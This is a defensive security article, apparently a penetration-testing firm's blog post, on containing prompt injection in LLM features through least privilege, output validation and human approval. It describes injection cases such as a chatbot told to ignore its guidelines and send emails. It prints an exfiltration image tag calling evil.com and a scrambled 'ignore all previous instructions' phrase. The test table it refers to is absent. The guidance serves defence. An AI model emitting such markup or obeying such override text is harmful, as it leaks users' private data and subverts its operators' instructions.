Prompt injection: limit what a hijacked LLM feature can do

Treat prompt injection as something that will eventually succeed, and design the feature so that success buys the attacker very little. OWASP's own guidance says it is unclear whether fool-proof prevention exists, because of the stochastic way models work. What you can control is the blast radius: what the model may call, what happens to its output, and which actions need a human.

Why the model cannot police itself

The OWASP cheat sheet on prompt injection prevention puts the root cause plainly. Most LLMs process natural language instructions and data together, without clear separation. The typical vulnerable integration looks like this:

def process_user_query(user_input, system_prompt):
    # Vulnerable: Direct concatenation without separation
    full_prompt = system_prompt + "\n\nUser: " + user_input
    response = llm_client.generate(full_prompt)
    return response

The model sees an instruction change where you intended data. Retrieval Augmented Generation and fine-tuning make outputs more relevant, but OWASP LLM01 notes that research shows they do not fully mitigate the problem.

The input does not have to come from your user. Indirect injection arrives through anything the model reads: web pages, files, emails and attachments, code comments, commit messages, merge request descriptions, issue text. The input also does not need to be readable by a human, as long as the model parses it.

Cap what the model can do

Start from the impact list. OWASP names disclosure of sensitive information, unauthorised access to functions the LLM can use, and execution of commands in connected systems. Severity depends on the business context and on how much agency you gave the model. You control the second one.

Two rules from the guidance do most of the work:

• Give the application its own API tokens and handle those functions in code, rather than handing them to the model.
• Restrict the model's access privileges to the minimum needed for its intended operations.

The sample attack OWASP describes is a support chatbot told to ignore its guidelines, query private data stores and send emails. A chatbot with no email function and read access to one customer's records only cannot do that, whatever the prompt says. Decide permissions in code, per request, from the authenticated user, never from anything the model said.

Treat output as untrusted

Output is where injected instructions leave the building. One OWASP scenario has a user ask an LLM to summarise a web page with hidden instructions, which make the model insert an image linking to an attacker's URL and leak the private conversation. The cheat sheet shows the pattern:

<img src="http://evil.com/steal?data=SECRET">

If your interface renders model output as HTML or Markdown, that is an exfiltration channel. Sanitise what you render, and do not let the model emit arbitrary links or images.

More generally, define the output format you expect and check it with deterministic code. If the feature should return a JSON object with three fields, reject anything else instead of passing free text onward. Code that validates a schema cannot be talked out of it.

Filtering helps, but only as one layer. OWASP recommends semantic filters and string-checking for non-allowed content. The cheat sheet also lists Base64 and hex encoding, invisible Unicode characters and scrambled words such as "ignroe all prevoius systme instructions" as ways to slip past keyword filters. Plan for the filter to miss things.

Finally, mark external content as such. Separate untrusted material, label it, and keep it away from the part of the prompt that carries your instructions. This limits its influence without eliminating it.

Put a person in front of risky actions

OWASP recommends human-in-the-loop controls for privileged operations. Decide which actions qualify before you write the feature: sending email, deleting or changing data, anything that spends money or touches another system. Show the approver the exact action and parameters the code will execute, not the model's description of it.

The approval step should sit in application code, outside the model's reach. If the model can click "approve" by emitting the right text, you have not added a control.

What to test before release

OWASP's advice is to run regular penetration testing and breach simulations while treating the model as an untrusted user. The question is whether your trust boundaries and access controls hold when the model misbehaves, not whether the model behaves.

Build a test set from the attack types in the cheat sheet:

Because models respond non-deterministically, a single pass proves little. The Best-of-N technique works by trying many variations until one gets through, so your tests should do the same.

Judge each result by what the attacker achieved, not by whether the model refused. A model that complies but has no token, no function and no unvalidated output path is a pass for the design.

Where to start

1. List every source of text your feature reads, including documents, web pages, emails and retrieval stores, and mark each as untrusted.
2. List every function and credential the model can reach. Move calls into application code with the application's own tokens, and remove everything the feature does not need.
3. Define the expected output format, validate it in code, and sanitise anything rendered as HTML or Markdown.
4. Mark the privileged actions and put an approval step in application code in front of each one.
5. Write the injection test set from the table above and run it on every release, with the model treated as an untrusted user.
6. For a feature that touches customer data or connected systems, ask for an outside check. We run this kind of work under our penetration testing service, and secure software development covers the design stage.